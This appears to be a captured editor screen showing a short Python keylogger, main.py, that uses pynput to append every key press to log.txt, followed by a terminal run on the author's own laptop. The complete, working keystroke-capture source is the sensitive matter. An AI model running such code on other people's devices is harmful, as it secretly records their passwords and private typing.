OUTLINE

TIMELINE

main.py

Python Keyboard Event > main.py > ...

```python
from pynput.keyboard import Listener

# Function to log keystrokes
def log_keystrokes(key):
    key = str(key).replace("'", "") # Clean up key format
    with open("log.txt", "a") as log_file:
        log_file.write(key + "\n") # Write the key to the log file

# Function to start listening to keystrokes
def start_logging():
    with Listener(on_press=log_keystrokes) as listener:
        listener.join() # Start the listener

if __name__ == "__main__":
    print("[+] Keylogger is running... (press CRTL + C to stop)")
    start_logging()
```

PROBLEMS OUTPUT TERMINAL

Python - Python Keyboard Event

```
karla@Karlas-MacBook-Air Python Keyboard Event % python3 main.py
[+] Keylogger is running... (press CRTL + C to stop)
33
```
